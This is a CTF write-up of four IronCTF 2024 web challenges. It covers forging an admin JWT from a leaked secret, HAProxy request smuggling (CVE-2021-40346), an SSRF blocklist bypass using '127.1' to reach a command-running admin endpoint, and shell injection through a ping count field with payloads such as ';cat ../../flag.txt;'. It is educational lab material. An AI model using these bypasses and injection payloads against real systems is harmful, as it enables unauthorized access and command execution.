IronCTF2024Writeup
Omar Mohamed
Thanks for sharing!
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

Hello there! Today, I'm going to share some of the challenges I solved in IronCTF 2024.
Content
- JWT Hunt - Warm Up
- Loan App - Web
- b64SiteViewer - Web
- MovieReviewApp - Web
Let's start with some warm-up challenges.
JWT Hunt

Upon visiting the website, I saw register and login buttons. Knowing this was a warm-up challenge, I fired up Burp Suite to capture the traffic.
I registered and logged in, receiving a welcome message:

I checked the page source—nothing. Then, I navigated to
/robots.txt
and found the first part of the secret key: 6yH$#v9Wq3e&Zf8L
, along with a path to the fourth part: /secretkeypart4
.
Next, I tried the common file
/sitemap.xml
, and found the third part of the key: 2C@mQjUwEbGoIhNy
.
Checking Burp Suite's history, I found the second part of the key in a cookie:
pRt1%Y4nJ^aPk7Sd
.
Now, for the last key, I navigated to
/secretkeypart4
but got a Bad Request
:
I sent the request to Burp Suite's Repeater and changed the request methods. Eventually, using
HEAD
, I received a 200 OK
and the fourth key: 0T!BxlVz5uMKA#Yp
.
Combining all the parts, the full secret key is:
6yH$#v9Wq3e&Zf8LpRt1%Y4nJ^aPk7Sd2C@mQjUwEbGoIhNy0T!BxlVz5uMKA#Yp
Since the challenge involves JWT, I copied my token and went to jwt.io. I changed the
username
field to admin
and used the secret key:
Using the modified token in a request to
/dashboard
, I was redirected and obtained the flag:
ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}
Now for some Web challenges.
Loan App

Discovering the Website
Upon visiting the website, I found a login form. I registered and logged in—nothing special here, except that both the username and password had to be
uuidV4
. So, I generated one and logged in.Now, there's a form with two fields: Amount and Reason. I submitted random values and got a ticket like this:

q
Loan ID: 67018c083b619fc5054d3828
Amount: $1337
Status: pending
Checking the Source Code
Everything looked normal, except for one endpoint:

This endpoint allowed loan approval, and the flag was included in the response. The problem was that it had no authorization! So, I made a request to the endpoint, but got hit with a
403 Forbidden
:
Looking at the code, this wasn't supposed to happen—there must be some middleware involved. After inspecting the files, I found the
haproxy.cfg
configuration:q
global
log stdout format raw local0
maxconn 2000
user root
group root
daemon
defaults
log global
option httplog
timeout client 30s
timeout server 30s
timeout connect 30s
frontend http_front
mode http
bind :80
acl is_admin path_beg /admin
http-request deny if is_admin
default_backend gunicorn
backend gunicorn
mode http
balance roundrobin
server loanserver loanapp:8000 maxconn 32
As we can see, it denies access to any path starting with
/admin
:q
acl is_admin path_beg /admin
http-request deny if is_admin
I tried various bypass techniques: making some letters uppercase, URL encoding, adding slashes, but nothing worked.
Finding the Vulnerability
Going back to the files, particularly the
docker-compose.yml
, I noticed the version of HAProxy:
After research, I found that this version is vulnerable to CVE-2021-40346—an HTTP request smuggling vulnerability. I referenced this blog: Critical Vulnerability in HAProxy: CVE-2021-40346.
HTTP request smuggling happens when a carefully crafted request tricks a server into processing it as two requests, allowing the attacker to perform malicious actions.
Here’s the full request:

Executing this on the server bypassed the restrictions.
Retrieving the Flag
Returning to the website:

I finally retrieved the flag:
ironCTF{L04n_4ppr0v3d_f0r_H4ch3r$!!}
b64SiteViewer

Discovering the Website
Upon visiting the website, there was an input field for a URL.

I entered
https://google.com
and received the base64 encoded version of the site.
It seems like the server makes a request to the provided URL and returns its base64 encoded content. This behavior hinted at a potential SSRF vulnerability.
Checking the Source Code
Looking at the source code, I noticed a blacklist meant to prevent SSRF attacks:
q
blacklist_scheme=['file','gopher','php','ftp','dict','data']
blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1']
There was also an
/admin
endpoint:
This endpoint checks the request's IP address, blocking
127.0.0.1
or localhost
. If we bypass this check, the server executes the command passed in the cmd
parameter and returns the output.
There is also a cmd_blacklist
that blocks some commands that we don't have access to.Hitting a Wall
At first I thought about using some flags like
X-Forwarded-For
, X-Forwarded-Host
... etc by setting them to 127.0.0.1
or localhost
but it didn't work.Blacklist Bypass
Another way was to make the server itself make the request for us, and how can we do that? from the input field we found earlier! So we have to bypass the
blacklist_hostname
as menthoined above.A small trick which not everyone knows, is that
127.1
is the same as 127.0.0.1
in the server. and it is not in the blacklist_hostname
. That's our way in.We know that the website is running on port 5000 from the source code.

So, I tried the URL
https://127.1:5000/admin?cmd=ls
, and received the following base64-encoded response:q
YXBwLnB5CnJlcXVpcmVtZW50cy50eHQKcnVuLnNoCnRlbXBsYXRlcwo=
Which decodes to:
q
app.py
requirements.txt
run.sh
templates
Next, I used
https://127.1:5000/admin?cmd=cat+*
, but I got:q
Q29tbWFuZCBibG9ja2Vk
which decodes to:
Command blocked
. It seemed I hit the cmd_blacklist
, which wasn’t visible in the source code.Bypassing the Blacklist and Getting the Flag
I tried alternative commands, some didn't work like
less
, but finally, I had success with head
. I used the following URL: https://127.1:5000/admin?cmd=head+*
.The response was:
base64
PT0+IGFwcC5weSA8PT0KZnJvbSBmbGFzayBpbXBvcnQgcmVuZGVyX3RlbXBsYXRlLHJlbmRlcl90ZW1wbGF0ZV9zdHJpbmcsRmxhc2sscmVxdWVzdApmcm9tIHVybGxpYi5wYXJzZSBpbXBvcnQgdXJscGFyc2UKaW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCByYW5kb20KaW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBiYXNlNjQKYXBwPUZsYXNrKF9fbmFtZV9fKQphcHAuc2VjcmV0X2tleT1vcy51cmFuZG9tKDE2KQoKCj09PiByZXF1aXJlbWVudHMudHh0IDw9PQpGbGFzaz09My4wLjMKCj09PiBydW4uc2ggPD09CiMhL2Jpbi9iYXNoCmV4cG9ydCBmbGFnPSJpcm9uQ1RGe3kwdTRyM3IwY2sxbjZrMzNwaDRjazFuNn0iCmNkIC9ob21lL3VzZXIKcHl0aG9uIC1tIGFwcAo9PT4gdGVtcGxhdGVzIDw9PQo=
which decodes to:
bash
==> app.py <==
from flask import render_template,render_template_string,Flask,request
from urllib.parse import urlparse
import urllib.request
import random
import os
import subprocess
import base64
app=Flask(**name**)
app.secret_key=os.urandom(16)
==> requirements.txt <==
Flask==3.0.3
==> run.sh <==
#!/bin/bash
export flag="ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}"
cd /home/user
python -m app
==> templates <==
And here is the flag:
ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}
MovieReviewApp

Discovering the Website
Upon visiting the website, I found buttons that navigate to random movie posters. The URL revealed we were not in the root directory:
https://movie-review.1nf1n1ty.team/movies/
Git Repository
Returning to the root directory, I discovered a directory listing containing a
.git
directory.
Using git-dumper, I dumped the git files:
q
git-dumper http://movie-review.1nf1n1ty.team/.git /movies
Next, I checked previous commits for useful information. The command
git log
revealed past commits.
Inspecting the commit with hash 
66469c24090e50c6a4a955f679c6cfff2f2380da
, I found hardcoded credentials and a route:

q
+ADMIN_USERNAME = 'superadmin'
+ADMIN_PASSWORD = 'Sup3rS3cR3TAdminP@ssw0rd$!'
/admin
Admin Panel Access
Here I made a mistake by going right away to 
http://movie-review.1nf1n1ty.team/admin
. I got 404. The right path was http://movie-review.1nf1n1ty.team/servermonitor/admin/
as you can see in file path

After logging in, I got a form for entering an
IP address
and a Ping Count
.
When attempting to ping an IP, I received an error. I reviewed the commit responsible for this in the git log:

In the code, we can see it is validating the
ip
but not the count
. so count
is our way in!.
Exploiting the Vulnerability
Since the front end just accepting numbers, I used burp to manipulate count
That's our command:
q
ping -c {count} {ip}
We add a
;
to terminate the ping -c
part and execute our command. We can also add ;
after it to exclude the ip
, but it is not necessary.q
;ls;
This returned the contents of the directory.

After exploring the files, I couldn’t locate the flag.
Retrieving the Flag
navigated a bit in the machine until I found the flag in
/
directoryq
;cat ../../flag.txt;
This revealed the flag:
ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}
I had a blast participating in this CTF with all its challenges, and it was awesome getting to know some cool people along the way. Don't forget to check out my X (formerly Twitter) for more updates. Catch you next time!
Peace!
Tags: